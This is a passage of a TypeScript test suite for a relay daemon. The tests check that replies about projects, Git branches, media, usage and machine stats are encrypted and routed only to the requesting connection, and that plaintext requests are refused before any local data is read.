expect(answers()[1]).toEqual({ t: 'up', targetConnId: 'web-2', frame: { type: 'terminal_info_result', payload: { requestId: 'info-2', error: 'E2EE_REQUIRED' } } })
// Only the reply: the request keeps the rule it had, since an older daemon reads a sealed one as empty.
expect(encryptDownFrame('terminal_info')).toBe(false)
expect(encryptDownFrameFor('terminal_info', { strictDown: true })).toBe(false)
expect(encryptRpcResult('terminal_info_result')).toBe(true)
await socket.stop()
})
it.each(['dsh_list', 'dsh_install', 'dsh_update', 'dsh_remove', 'engines_probe', 'grid_models_list', 'claude_login_status', 'agent_retarget', 'remote_terminal_handoff'])(
'seals the %s answer to a requester that holds a session, and to it alone', async (type) => {
// What a machine tells the client that asked about it went to every web client in the clear.
const socket = relaySocket('token')
socket.connect()
const ws = wsMock.instances[0]
ws.open()
vi.spyOn(gatewayOf(socket).e2ee, 'hasSession').mockReturnValue(true)
const sealed = { __e2e: { v: 1, k: 'p', n: 1, ct: 'ciphertext' } }
const wrap = vi.spyOn(gatewayOf(socket).e2ee, 'wrapRpcReply').mockImplementation((_connId, resultType) => ({ type: resultType, payload: sealed }))
;(socket as unknown as { emitReply(connId: string, type: string, requestId: unknown, payload: Record<string, unknown>): void })
.emitReply('web-1', type, 'r-1', { account: 'this-computer' })
expect(wrap).toHaveBeenCalledWith('web-1', `${type}_result`, 'r-1', { account: 'this-computer' })
expect(parseSent(ws).filter((item) => (item.frame as { type?: unknown })?.type === `${type}_result`))
.toEqual([{ t: 'up', targetConnId: 'web-1', frame: { type: `${type}_result`, payload: sealed } }])
expect(JSON.stringify(parseSent(ws))).not.toContain('this-computer')
await socket.stop()
})
it('hands theme_set to the host-theme sink and acknowledges it to the requester', async () => {
const socket = relaySocket('token')
const received: unknown[] = []
bindTerminalRequests(socket, { applyTheme: (theme) => { received.push(theme) } })
socket.connect()
const ws = wsMock.instances[0]
ws.open()
const unwrap = vi.spyOn(gatewayOf(socket).e2ee, 'unwrapDown')
vi.spyOn(gatewayOf(socket).e2ee, 'hasSession').mockReturnValue(true)
const wrapReply = vi.spyOn(gatewayOf(socket).e2ee, 'wrapRpcReply').mockReturnValue({
type: 'theme_set_result', payload: { __e2e: { v: 1, k: 's', n: 1, ct: 'ciphertext' } },
})
const envelope = { __e2e: { v: 1, k: 's', n: 1, ct: 'ciphertext' } }
unwrap.mockReturnValueOnce({
type: 'theme_set', payload: { requestId: 't-1', background: '#171B29', foreground: '#f5f5f5' },
})
ws.message({ t: 'down', connId: 'web-1', frame: { type: 'theme_set', payload: envelope } })
await vi.waitFor(() => {
expect(wrapReply).toHaveBeenCalledWith('web-1', 'theme_set_result', 't-1', { applied: true })
})
// Normalised to lowercase, and a full pair — never half a style.
expect(received).toEqual([{ background: '#171b29', foreground: '#f5f5f5' }])
// A malformed colour is refused, not half-applied.
unwrap.mockReturnValueOnce({ type: 'theme_set', payload: { requestId: 't-2', background: 'dark' } })
ws.message({ t: 'down', connId: 'web-1', frame: { type: 'theme_set', payload: envelope } })
await vi.waitFor(() => {
expect(wrapReply).toHaveBeenCalledWith('web-1', 'theme_set_result', 't-2', { error: 'BAD_THEME' })
})
expect(received).toHaveLength(1)
await socket.stop()
})
it('answers usage_read with this machine\'s own readings, wrapped for the requester', async () => {
// What goes back names what the person spends and on whose account, so it must leave encrypted.
// The usage service answers it (services/usage.ts), with a Codex read that starts no codex.
const socket = relaySocket('token')
const codex = { ok: true as const, accountId: null, primary: { usedPercent: 42, windowDurationMins: 300, resetsAt: null }, secondary: null }
const readings = [
expect.objectContaining({ provider: 'claude', outcome: 'unreachable', source: 'cli' }),
{ provider: 'codex', account: null, outcome: 'answered', httpStatus: 200, source: 'cli',
body: { rate_limit: { primary_window: { used_percent: 42, limit_window_seconds: 18_000, reset_at: null } } } },
]
serveOn(socket, (host) => host.start('usage', (core, ports) => { ports.usage = { read: async () => ({}), stop: () => {} }; return startUsage(core, { codex: async () => codex, now: Date.now, env: async () => ({}) }) }, fakeCore(), USAGE_FALLBACKS, USAGE_REQUESTS))
socket.connect()
const ws = wsMock.instances[0]
ws.open()
vi.spyOn(gatewayOf(socket).e2ee, 'unwrapDown').mockReturnValue({
type: 'usage_read', payload: { requestId: 'usage-1' },
})
vi.spyOn(gatewayOf(socket).e2ee, 'hasSession').mockReturnValue(true)
const wrapReply = vi.spyOn(gatewayOf(socket).e2ee, 'wrapRpcReply').mockReturnValue({
type: 'usage_read_result', payload: { __e2e: { v: 1, k: 's', n: 1, ct: 'ciphertext' } },
})
ws.message({
t: 'down',
connId: 'web-1',
frame: { type: 'usage_read', payload: { __e2e: { v: 1, k: 's', n: 1, ct: 'ciphertext' } } },
})
await vi.waitFor(() => {
expect(wrapReply).toHaveBeenCalledWith('web-1', 'usage_read_result', 'usage-1', { providers: readings })
})
await socket.stop()
})
it('returns project previews only to the requesting encrypted connection', async () => {
vi.spyOn(registry, 'list').mockReturnValue([{ cwd: '/remote/workspace' }] as RegisteredSession[])
const preview = { path: '/remote/workspace', readme: 'Private project README', branch: 'main', files: ['README.md'], contributors: [] }
const read = vi.spyOn(projectPreview, 'projectPreview').mockResolvedValue(preview)
const socket = relaySocket('token')
serveProjects(socket)
socket.connect()
const ws = wsMock.instances[0]
ws.open()
vi.spyOn(gatewayOf(socket).e2ee, 'unwrapDown').mockReturnValue({ type: 'project_preview', payload: {
requestId: 'preview-1', path: '/remote/workspace',
} })
vi.spyOn(gatewayOf(socket).e2ee, 'hasSession').mockReturnValue(true)
const wrap = vi.spyOn(gatewayOf(socket).e2ee, 'wrapRpcReply').mockReturnValue({
type: 'project_preview_result', payload: { __e2e: { v: 1, k: 'p', n: 1, ct: 'encrypted-preview' } },
})
ws.message({ t: 'down', connId: 'viewer-a', frame: {
type: 'project_preview', payload: { __e2e: { v: 1, k: 'p', n: 1, ct: 'encrypted-request' } },
} })
await vi.waitFor(() => expect(wrap).toHaveBeenCalledWith('viewer-a', 'project_preview_result', 'preview-1', preview))
expect(read).toHaveBeenCalledWith('/remote/workspace', ['/remote/workspace'])
expect(parseSent(ws)).toContainEqual(expect.objectContaining({ targetConnId: 'viewer-a', frame: {
type: 'project_preview_result', payload: { __e2e: { v: 1, k: 'p', n: 1, ct: 'encrypted-preview' } },
} }))
expect(JSON.stringify(parseSent(ws))).not.toContain('Private project README')
await socket.stop()
})
it.each([false, true])('returns refreshed=%s Git branch choices only to the requesting encrypted connection', async refresh => {
const preview = { isGit: true, root: '/remote/workspace', branch: 'main', branches: [{ ref: 'refs/heads/private-branch', name: 'private-branch', remote: false }] }
const read = vi.spyOn(gitProject, 'readGitProject').mockResolvedValue(preview)
const socket = relaySocket('token')
serveProjects(socket)
socket.connect()
const ws = wsMock.instances[0]
ws.open()
vi.spyOn(gatewayOf(socket).e2ee, 'unwrapDown').mockReturnValue({ type: 'git_project_info', payload: {
requestId: 'preview-1', path: '/remote/workspace', refresh,
} })
vi.spyOn(gatewayOf(socket).e2ee, 'hasSession').mockReturnValue(true)
const wrap = vi.spyOn(gatewayOf(socket).e2ee, 'wrapRpcReply').mockReturnValue({
type: 'git_project_info_result', payload: { __e2e: { v: 1, k: 'p', n: 1, ct: 'encrypted-preview' } },
})
ws.message({ t: 'down', connId: 'viewer-a', frame: {
type: 'git_project_info', payload: { __e2e: { v: 1, k: 'p', n: 1, ct: 'encrypted-request' } },
} })
await vi.waitFor(() => expect(wrap).toHaveBeenCalledWith('viewer-a', 'git_project_info_result', 'preview-1', preview))
// The fence travels with the request — no registered agents here, so it is the home folder alone.
expect(read).toHaveBeenCalledWith('/remote/workspace', { refresh, knownRoots: [] })
expect(parseSent(ws)).toContainEqual(expect.objectContaining({ targetConnId: 'viewer-a', frame: {
type: 'git_project_info_result', payload: { __e2e: { v: 1, k: 'p', n: 1, ct: 'encrypted-preview' } },
} }))
expect(JSON.stringify(parseSent(ws))).not.toContain('private-branch')
await socket.stop()
})
it.each([false, true])('answers scm_project_info (refresh=%s) through the SCM seam, to the requesting encrypted connection only', async refresh => {
const preview = { kind: 'git' as const, git: { isGit: true, root: '/remote/workspace', branch: 'main', branches: [{ ref: 'refs/heads/private-branch', name: 'private-branch', remote: false }] } }
const detect = vi.spyOn(scmProjects, 'detectScmProject').mockResolvedValue(preview)
const socket = relaySocket('token')
serveProjects(socket)
socket.connect()
const ws = wsMock.instances[0]
ws.open()
vi.spyOn(gatewayOf(socket).e2ee, 'unwrapDown').mockReturnValue({ type: 'scm_project_info', payload: {
requestId: 'preview-2', path: '/remote/workspace', refresh,
} })
vi.spyOn(gatewayOf(socket).e2ee, 'hasSession').mockReturnValue(true)
const wrap = vi.spyOn(gatewayOf(socket).e2ee, 'wrapRpcReply').mockReturnValue({
type: 'scm_project_info_result', payload: { __e2e: { v: 1, k: 'p', n: 1, ct: 'encrypted-preview' } },
})
ws.message({ t: 'down', connId: 'viewer-a', frame: {
type: 'scm_project_info', payload: { __e2e: { v: 1, k: 'p', n: 1, ct: 'encrypted-request' } },
} })
await vi.waitFor(() => expect(wrap).toHaveBeenCalledWith('viewer-a', 'scm_project_info_result', 'preview-2', preview))
// The same fence git_project_info passes: no registered agents here, so the home folder alone.
expect(detect).toHaveBeenCalledWith('/remote/workspace', { refresh, knownRoots: [] })
expect(parseSent(ws)).toContainEqual(expect.objectContaining({ targetConnId: 'viewer-a', frame: {
type: 'scm_project_info_result', payload: { __e2e: { v: 1, k: 'p', n: 1, ct: 'encrypted-preview' } },
} }))
expect(JSON.stringify(parseSent(ws))).not.toContain('private-branch')
await socket.stop()
})
it('answers scm_project_info for a malformed path as the git probe does, correlated', async () => {
const read = vi.spyOn(gitProject, 'readGitProject')
const socket = relaySocket('token')
serveProjects(socket)
socket.connect()
const ws = wsMock.instances[0]
ws.open()
vi.spyOn(gatewayOf(socket).e2ee, 'unwrapDown').mockReturnValue({ type: 'scm_project_info', payload: {
requestId: 'scm-error', path: 42,
} })
vi.spyOn(gatewayOf(socket).e2ee, 'hasSession').mockReturnValue(true)
const wrap = vi.spyOn(gatewayOf(socket).e2ee, 'wrapRpcReply').mockReturnValue({
type: 'scm_project_info_result', payload: { __e2e: { v: 1, k: 'p', n: 1, ct: 'encrypted-error' } },
})
ws.message({ t: 'down', connId: 'viewer-a', frame: {
type: 'scm_project_info', payload: { __e2e: { v: 1, k: 'p', n: 1, ct: 'encrypted-request' } },
} })
await vi.waitFor(() => expect(wrap).toHaveBeenCalledWith('viewer-a', 'scm_project_info_result', 'scm-error', { kind: 'none', error: 'INVALID_PATH' }))
expect(read).toHaveBeenCalledWith('', { refresh: false, knownRoots: [] })
await socket.stop()
})
it('returns PR status only to the requesting encrypted connection', async () => {
const preview = { status: 'found' as const, number: 12, state: 'Merged' as const, url: 'https://github.com/private/repo/pull/12' }
vi.spyOn(registry, 'resolve').mockReturnValue({ cwd: '/remote/workspace' } as RegisteredSession)
const read = vi.spyOn(gitPullRequest, 'readGitPullRequest').mockResolvedValue(preview)
const socket = relaySocket('token')
serveProjects(socket)
socket.connect()
const ws = wsMock.instances[0]
ws.open()
vi.spyOn(gatewayOf(socket).e2ee, 'unwrapDown').mockReturnValue({ type: 'git_pull_request', payload: {
requestId: 'preview-1', agentId: 'agent1',
} })
vi.spyOn(gatewayOf(socket).e2ee, 'hasSession').mockReturnValue(true)
const wrap = vi.spyOn(gatewayOf(socket).e2ee, 'wrapRpcReply').mockReturnValue({
type: 'git_pull_request_result', payload: { __e2e: { v: 1, k: 'p', n: 1, ct: 'encrypted-preview' } },
})
ws.message({ t: 'down', connId: 'viewer-a', frame: {
type: 'git_pull_request', payload: { __e2e: { v: 1, k: 'p', n: 1, ct: 'encrypted-request' } },
} })
await vi.waitFor(() => expect(wrap).toHaveBeenCalledWith('viewer-a', 'git_pull_request_result', 'preview-1', preview))
expect(read).toHaveBeenCalledWith('/remote/workspace')
expect(parseSent(ws)).toContainEqual(expect.objectContaining({ targetConnId: 'viewer-a', frame: {
type: 'git_pull_request_result', payload: { __e2e: { v: 1, k: 'p', n: 1, ct: 'encrypted-preview' } },
} }))
expect(JSON.stringify(parseSent(ws))).not.toContain('github.com/private')
await socket.stop()
})
it('keeps session work paths and PR history inside the requesting encrypted reply', async () => {
const history = { status: 'unavailable' as const, context: null, gitContext: {
state: 'uncertain' as const, current: null, observedAt: null, locations: [], pullRequests: [], truncated: false,
}, history: { branches: [{ cwd: '/private/worktree', remote: null, branch: 'private-fix', at: '2026-09-27' }], pullRequests: [], truncated: false }, lookups: [], nextOffset: null }
vi.spyOn(registry, 'resolve').mockReturnValue({ cwd: '/remote/workspace' } as RegisteredSession)
vi.spyOn(sessionGitPullRequest, 'readSessionGitPullRequest').mockResolvedValue(history)
const socket = relaySocket('token'); serveProjects(socket); socket.connect()
const ws = wsMock.instances[0]; ws.open()
vi.spyOn(gatewayOf(socket).e2ee, 'unwrapDown').mockReturnValue({ type: 'git_pull_request', payload: {
requestId: 'history-1', agentId: 'agent1', history: true,
} })
vi.spyOn(gatewayOf(socket).e2ee, 'hasSession').mockReturnValue(true)
const wrap = vi.spyOn(gatewayOf(socket).e2ee, 'wrapRpcReply').mockReturnValue({ type: 'git_pull_request_result', payload: { __e2e: { v: 1, k: 'p', n: 1, ct: 'encrypted-history' } } })
ws.message({ t: 'down', connId: 'viewer-a', frame: { type: 'git_pull_request', payload: { __e2e: { v: 1, k: 'p', n: 1, ct: 'encrypted-request' } } } })
await vi.waitFor(() => expect(wrap).toHaveBeenCalledWith('viewer-a', 'git_pull_request_result', 'history-1', history))
expect(JSON.stringify(parseSent(ws))).not.toContain('/private/worktree')
expect(parseSent(ws)).toContainEqual(expect.objectContaining({ targetConnId: 'viewer-a', frame: { type: 'git_pull_request_result', payload: { __e2e: { v: 1, k: 'p', n: 1, ct: 'encrypted-history' } } } }))
await socket.stop()
})
it('returns a correlated Git error when discovery rejects or the path is malformed', async () => {
const read = vi.spyOn(gitProject, 'readGitProject').mockRejectedValue(new Error('unavailable'))
const socket = relaySocket('token')
serveProjects(socket)
socket.connect()
const ws = wsMock.instances[0]
ws.open()
vi.spyOn(gatewayOf(socket).e2ee, 'unwrapDown').mockReturnValue({ type: 'git_project_info', payload: {
requestId: 'git-error', path: 42,
} })
vi.spyOn(gatewayOf(socket).e2ee, 'hasSession').mockReturnValue(true)
const wrap = vi.spyOn(gatewayOf(socket).e2ee, 'wrapRpcReply').mockReturnValue({
type: 'git_project_info_result', payload: { __e2e: { v: 1, k: 'p', n: 1, ct: 'encrypted-error' } },
})
ws.message({ t: 'down', connId: 'viewer-a', frame: {
type: 'git_project_info', payload: { __e2e: { v: 1, k: 'p', n: 1, ct: 'encrypted-request' } },
} })
await vi.waitFor(() => expect(wrap).toHaveBeenCalledWith('viewer-a', 'git_project_info_result', 'git-error', { error: 'UNAVAILABLE' }))
expect(read).toHaveBeenCalledWith('', { refresh: false, knownRoots: [] })
await socket.stop()
})
it('serves media only to the requesting encrypted connection', async () => {
vi.spyOn(registry, 'resolve').mockReturnValue({ cwd: '/remote/workspace' } as RegisteredSession)
const media = { media: true as const, filename: 'preview.png', offset: 0, totalBytes: 3,
revision: 'a'.repeat(64), contentBase64: 'AQID' }
const read = vi.spyOn(mediaPreview, 'readMediaPreviewChunk').mockResolvedValue(media)
const socket = relaySocket('token')
serveProjects(socket)
socket.connect()
const ws = wsMock.instances[0]
ws.open()
vi.spyOn(gatewayOf(socket).e2ee, 'unwrapDown').mockReturnValue({ type: 'agent_read_file', payload: {
requestId: 'media-1', agentId: 'agent-b', path: '/tmp/preview.png', media: true, offset: 0,
} })
vi.spyOn(gatewayOf(socket).e2ee, 'hasSession').mockReturnValue(true)
const wrap = vi.spyOn(gatewayOf(socket).e2ee, 'wrapRpcReply').mockReturnValue({
type: 'agent_read_file_result', payload: { __e2e: { v: 1, k: 'p', n: 1, ct: 'encrypted-media' } },
})
ws.message({ t: 'down', connId: 'viewer-a', frame: {
type: 'agent_read_file', payload: { __e2e: { v: 1, k: 'p', n: 1, ct: 'encrypted-request' } },
} })
await vi.waitFor(() => expect(wrap).toHaveBeenCalledWith('viewer-a', 'agent_read_file_result', 'media-1', media))
expect(read).toHaveBeenCalledWith('/remote/workspace', '/tmp/preview.png', 0, undefined)
const sent = parseSent(ws)
expect(sent).toContainEqual(expect.objectContaining({ targetConnId: 'viewer-a', frame: {
type: 'agent_read_file_result', payload: { __e2e: { v: 1, k: 'p', n: 1, ct: 'encrypted-media' } },
} }))
expect(JSON.stringify(sent)).not.toContain('AQID')
await socket.stop()
})
it('refuses a plaintext media request before reading any file', async () => {
const read = vi.spyOn(mediaPreview, 'readMediaPreviewChunk')
const socket = relaySocket('token')
socket.connect()
const ws = wsMock.instances[0]
ws.open()
ws.message({ t: 'down', connId: 'unpaired-viewer', frame: {
type: 'agent_read_file', payload: { requestId: 'media-unsafe', agentId: 'agent-b', path: '/tmp/preview.png', media: true, offset: 0 },
} })
await vi.waitFor(() => expect(parseSent(ws)).toContainEqual(expect.objectContaining({
targetConnId: 'unpaired-viewer', frame: expect.objectContaining({ payload: { requestId: 'media-unsafe', error: 'E2EE_REQUIRED' } }),
})))
expect(read).not.toHaveBeenCalled()
await socket.stop()
})
it('includes engine session correlation in the web agent list', async () => {
const session: RegisteredSession = {
schemaVersion: 2,
active: true,
agentId: 'agent-1',
sessionId: 'session-1',
boundAt: 1,
engine: 'codex',
transcriptPath: null,
projectDir: 'workspace',
cwd: '/tmp/workspace',
runtimes: [],
primaryRuntimeKey: '',
tmuxPane: '',
source: null,
title: 'Agent one',
model: null,
cliVersion: null,
processIdentity: null,
registeredAt: 1,
touchedAt: 1,
lastHookAt: 1,
lastTranscriptAt: 1,
}
vi.spyOn(registry, 'advertised').mockReturnValue([session])
vi.spyOn(registry, 'terminalAvailable').mockReturnValue(true)
const socket = relaySocket('token')
bindAgentList(socket)
socket.connect()
const ws = wsMock.instances[0]
ws.open()
vi.spyOn(gatewayOf(socket).e2ee, 'unwrapDown').mockReturnValue({
type: 'agents_list', payload: { requestId: 'agents-1' },
})
vi.spyOn(gatewayOf(socket).e2ee, 'hasSession').mockReturnValue(true)
const wrapReply = vi.spyOn(gatewayOf(socket).e2ee, 'wrapRpcReply').mockReturnValue({
type: 'agents_list_result', payload: { __e2e: { v: 1, k: 's', n: 1, ct: 'ciphertext' } },
})
ws.message({
t: 'down',
connId: 'web-1',
frame: { type: 'agents_list', payload: { __e2e: { v: 1, k: 's', n: 1, ct: 'ciphertext' } } },
})
await vi.waitFor(() => {
expect(wrapReply).toHaveBeenCalledWith('web-1', 'agents_list_result', 'agents-1', {
agents: [expect.objectContaining({
id: 'agent-1', sessionId: 'session-1', engine: 'codex',
terminal: expect.objectContaining({ available: true }),
})],
})
})
await socket.stop()
})
it('filters and compacts the runtime catalog for a device agent', async () => {
const socket = relaySocket('token')
const provider = vi.fn(async (_sessionId?: string) => [
{ id: 'runtime-v1:s1:codex:gpt-5.6-sol@high', displayName: 'GPT-5.6 Sol / High' },
{ id: 'runtime-v1:s1:codex:gpt-5.6-sol@auto', displayName: 'GPT-5.6 Sol / Auto' },
{ id: 'runtime-v1:s1:codex:o3@medium', displayName: 'o3 / Medium' },
{ id: 'runtime-v1:s1:codex:o3@auto', displayName: 'o3 / Auto' },
])
serveModels(socket, { agents: { runtimeModels: provider } })
socket.connect()
const ws = wsMock.instances[0]
ws.open()
vi.spyOn(gatewayOf(socket).e2ee, 'unwrapDown').mockReturnValue({
type: 'models_list',
payload: {
requestId: 'models-compact',
agentId: 's1',
compact: true,
pickerMode: 'model',
selectedModel: 'runtime-v1:s1:codex:gpt-5.6-sol@high',
},
})
vi.spyOn(gatewayOf(socket).e2ee, 'hasSession').mockReturnValue(true)
const wrapReply = vi.spyOn(gatewayOf(socket).e2ee, 'wrapRpcReply').mockReturnValue({
type: 'models_list_result', payload: { __e2e: { v: 1, k: 's', n: 1, ct: 'ciphertext' } },
})
ws.message({
t: 'down',
connId: 'device-1',
frame: { type: 'models_list', payload: { __e2e: { v: 1, k: 's', n: 1, ct: 'ciphertext' } } },
})
await vi.waitFor(() => {
expect(wrapReply).toHaveBeenCalledWith('device-1', 'models_list_result', 'models-compact', {
models: [
{ id: 'runtime-v1:s1:codex:gpt-5.6-sol@high' },
{ id: 'runtime-v1:s1:codex:o3@auto' },
],
})
})
expect(provider).toHaveBeenCalledWith('s1')
await socket.stop()
})
it('fails a plaintext runtime catalog request closed before reading local data', async () => {
const socket = relaySocket('token')
const provider = vi.fn(async () => [
{ id: 'runtime-v1:s1:codex:gpt-5.6-sol@high', displayName: 'sensitive' },
])
serveModels(socket, { agents: { runtimeModels: provider } })
socket.connect()
const ws = wsMock.instances[0]
ws.open()
ws.message({
t: 'down', connId: 'unpaired-web',
frame: { type: 'models_list', payload: { requestId: 'plaintext-models' } },
})
await vi.waitFor(() => {
const result = parseSent(ws).find((item) => (item.frame as { type?: string })?.type === 'models_list_result')
expect(result).toMatchObject({
targetConnId: 'unpaired-web',
frame: { payload: { requestId: 'plaintext-models', error: 'E2EE_REQUIRED' } },
})
})
expect(provider).not.toHaveBeenCalled()
await socket.stop()
})
it('serves authenticated local RPCs in cleartext without weakening cloud E2EE', async () => {
const socket = relaySocket('token')
serveModels(socket, { agents: { runtimeModels: async () => [
{ id: 'runtime-v1:s1:codex:gpt-5.6-sol@high', displayName: 'Sol / High' },
] } })
const frames: Array<Record<string, unknown>> = []
expect(socket.registerLocalClient('local:test', {
sendFrame: (frame) => { frames.push(frame); return true },
sendBinary: () => true,
})).toBe(true)
socket.handleLocalFrame('local:test', {
type: 'models_list', payload: { requestId: 'harness-computes' },
})
await vi.waitFor(() => expect(frames).toContainEqual({
type: 'models_list_result',
payload: {
requestId: 'harness-computes',
models: [{ id: 'runtime-v1:s1:codex:gpt-5.6-sol@high', displayName: 'Sol / High' }],
},
}))
await socket.unregisterLocalClient('local:test')
await socket.stop()
})
it('refuses a trust-group roster swap that is not over an E2EE session (a local client has no identity)', async () => {
const socket = relaySocket('token')
const handle = vi.fn(() => ({}))
gatewayOf(socket).groupSync = { handle }
const frames: Array<Record<string, unknown>> = []
socket.registerLocalClient('local:group', { sendFrame: frame => { frames.push(frame); return true }, sendBinary: () => true })
socket.handleLocalFrame('local:group', { type: 'group_sync', payload: { requestId: 'g1', members: [] } })
await vi.waitFor(() => expect(frames).toContainEqual({ type: 'group_sync_result', payload: { requestId: 'g1', error: 'UNSUPPORTED' } }))
expect(handle).not.toHaveBeenCalled()
await socket.unregisterLocalClient('local:group')
await socket.stop()
})
it('serves machine stats locally without blocking the next RPC while sampling', async () => {
let finish!: (value: machineResources.MachineResources) => void
const read = vi.spyOn(machineResources, 'readMachineResources').mockImplementation(
() => new Promise(resolve => { finish = resolve }),
)
const socket = relaySocket('token')
serveMonitor(serveModels(socket))
const frames: Array<Record<string, unknown>> = []
socket.registerLocalClient('local:stats', {
sendFrame: frame => { frames.push(frame); return true }, sendBinary: () => true,
})
socket.handleLocalFrame('local:stats', { type: 'machine_resources', payload: { requestId: 'stats' } })
socket.handleLocalFrame('local:stats', { type: 'models_list', payload: { requestId: 'models' } })
await vi.waitFor(() => expect(frames).toContainEqual({
type: 'models_list_result', payload: { requestId: 'models', models: [] },
}))
expect(read).toHaveBeenCalledTimes(1)
expect(frames.some(frame => frame.type === 'machine_resources_result')).toBe(false)
finish({ cpuPercent: 18, memoryUsedBytes: 10, memoryTotalBytes: 32 })
await vi.waitFor(() => expect(frames).toContainEqual({
type: 'machine_resources_result',
payload: { requestId: 'stats', cpuPercent: 18, memoryUsedBytes: 10, memoryTotalBytes: 32 },
}))
read.mockRejectedValueOnce(new Error('unavailable'))
socket.handleLocalFrame('local:stats', { type: 'machine_resources', payload: { requestId: 'retry' } })
await vi.waitFor(() => expect(frames).toContainEqual({
type: 'machine_resources_result', payload: { requestId: 'retry', error: 'UNAVAILABLE' },
}))
await socket.unregisterLocalClient('local:stats')
await socket.stop()
})
it('returns remote machine stats only in a targeted encrypted reply', async () => {
const reading = { cpuPercent: 18, memoryUsedBytes: 10, memoryTotalBytes: 32 }
vi.spyOn(machineResources, 'readMachineResources').mockResolvedValue(reading)
const socket = relaySocket('token')
serveOn(socket, (host) => serveMonitor(host))
socket.connect()
const ws = wsMock.instances[0]
ws.open()
vi.spyOn(gatewayOf(socket).e2ee, 'unwrapDown').mockReturnValue({
type: 'machine_resources', payload: { requestId: 'stats' },
})
vi.spyOn(gatewayOf(socket).e2ee, 'hasSession').mockReturnValue(true)
const sealed = { type: 'machine_resources_result', payload: { __e2e: { v: 1, k: 's', n: 1, ct: 'ciphertext' } } }
const wrap = vi.spyOn(gatewayOf(socket).e2ee, 'wrapRpcReply').mockReturnValue(sealed)
ws.message({
t: 'down', connId: 'paired',
frame: { type: 'machine_resources', payload: { __e2e: { v: 1, k: 's', n: 1, ct: 'ciphertext' } } },
})
await vi.waitFor(() => expect(wrap).toHaveBeenCalledWith('paired', 'machine_resources_result', 'stats', reading))
expect(parseSent(ws)).toContainEqual(expect.objectContaining({ targetConnId: 'paired', frame: sealed }))
expect(ws.sent.some(frame => frame.includes('memoryUsedBytes'))).toBe(false)
await socket.stop()
})
it('serves per-session resource readings without blocking input or sampling system totals', async () => {
const system = vi.spyOn(machineResources, 'readMachineResources')
const socket = relaySocket('token')
let finish!: (value: { sampledAt: string; agents: [] }) => void
serveMonitor(serveModels(socket), { resources: vi.fn(() => new Promise<{ sampledAt: string; agents: [] }>(resolve => { finish = resolve })) })
const frames: Array<Record<string, unknown>> = []
socket.registerLocalClient('local:monitor', {
sendFrame: frame => { frames.push(frame); return true }, sendBinary: () => true,
})
socket.handleLocalFrame('local:monitor', { type: 'machine_resources', payload: { requestId: 'resources', harnesses: true } })
socket.handleLocalFrame('local:monitor', { type: 'models_list', payload: { requestId: 'models' } })
await vi.waitFor(() => expect(frames).toContainEqual({ type: 'models_list_result', payload: { requestId: 'models', models: [] } }))
expect(system).not.toHaveBeenCalled()
const reading = { sampledAt: '2026-09-30T12:00:00Z', agents: [] as [] }
finish(reading)
await vi.waitFor(() => expect(frames).toContainEqual({ type: 'machine_resources_result', payload: { requestId: 'resources', harnesses: reading } }))
await socket.unregisterLocalClient('local:monitor')
await socket.stop()
})
it('rejects unpaired plaintext stats requests before sampling the machine', async () => {
const read = vi.spyOn(machineResources, 'readMachineResources')
const socket = relaySocket('token')
socket.connect()
const ws = wsMock.instances[0]
ws.open()
ws.message({
t: 'down', connId: 'unpaired',
frame: { type: 'machine_resources', payload: { requestId: 'stats' } },
})
await vi.waitFor(() => expect(parseSent(ws)).toContainEqual(expect.objectContaining({
targetConnId: 'unpaired',
frame: { type: 'machine_resources_result', payload: { requestId: 'stats', error: 'E2EE_REQUIRED' } },
})))
expect(read).not.toHaveBeenCalled()
await socket.stop()
})
it('never holds a connection\'s next request for a service still answering one', async () => {
const socket = relaySocket('token')
const models = serveModels(socket)
let answerCatalog!: (result: Record<string, unknown>) => void
socket.serviceRouter = (type, payload, asker, reply) => {
if (type !== 'dsh_list') return models.route(type, payload, asker, reply)
answerCatalog = reply
return true
}
const frames: Array<Record<string, unknown>> = []
socket.registerLocalClient('local:catalog', { sendFrame: frame => { frames.push(frame); return true }, sendBinary: () => true })
socket.handleLocalFrame('local:catalog', { type: 'dsh_list', payload: { requestId: 'catalog' } })
socket.handleLocalFrame('local:catalog', { type: 'models_list', payload: { requestId: 'models' } })
await vi.waitFor(() => expect(frames.some(frame => frame.type === 'models_list_result')).toBe(true))
expect(frames.some(frame => frame.type === 'dsh_list_result')).toBe(false)
answerCatalog({ dsh: [] })
await vi.waitFor(() => expect(frames).toContainEqual({ type: 'dsh_list_result', payload: { requestId: 'catalog', dsh: [] } }))
await socket.unregisterLocalClient('local:catalog')
await socket.stop()
})
it('does not let a slow engines_probe block agent_create on the same connection', async () => {
const socket = relaySocket('token')
bindLaunchRequests(socket)
const frames: Array<Record<string, unknown>> = []
socket.registerLocalClient('local:create', {
sendFrame: (frame) => { frames.push(frame); return true },
sendBinary: () => true,
})
let finishProbe!: () => void
socket.engineProbeProvider = () => new Promise((resolve) => { finishProbe = () => resolve([]) })
const pending: RegisteredSession = {
schemaVersion: 2, active: true, launch: { state: 'starting' },
agentId: 'pending-1', sessionId: '', boundAt: null, engine: 'claude',
transcriptPath: null, projectDir: 'work', cwd: '/tmp/work',
runtimes: [{ backend: 'tmux', paneId: '%9' }], primaryRuntimeKey: 'tmux/%9', tmuxPane: '%9',
source: null, title: null, model: null, cliVersion: null, processIdentity: null,
registeredAt: 1, touchedAt: 1, lastHookAt: 1, lastTranscriptAt: 1,
}
socket.onCreateAgent = async () => ({ ok: true, session: pending })
socket.handleLocalFrame('local:create', {
type: 'engines_probe', payload: { requestId: 'probe-1', engines: ['claude'] },
})
socket.handleLocalFrame('local:create', {
type: 'agent_create', payload: { requestId: 'create-1', engine: 'claude', cwd: '/tmp/work' },
})
await vi.waitFor(() => expect(frames).toContainEqual(expect.objectContaining({
type: 'agent_create_result', payload: expect.objectContaining({ requestId: 'create-1' }),
})))
expect(frames.some((frame) => frame.type === 'engines_probe_result')).toBe(false)
finishProbe()
await vi.waitFor(() => expect(frames.some((frame) => frame.type === 'engines_probe_result')).toBe(true))
await socket.unregisterLocalClient('local:create')
await socket.stop()
})
it('answers engines_probe with whether this machine can start each engine with a first prompt (#1788)', async () => {
const socket = relaySocket('token')
const frames: Array<Record<string, unknown>> = []
socket.registerLocalClient('local:probe', {
sendFrame: (frame) => { frames.push(frame); return true },
sendBinary: () => true,
})
socket.engineProbeProvider = async () => [
{ engine: 'claude', installed: true, command: 'claude', installable: true, signedIn: true },
{ engine: 'cursor', installed: false, command: 'cursor-agent', installable: true },
] as never
socket.handleLocalFrame('local:probe', { type: 'engines_probe', payload: { requestId: 'probe-fp' } })
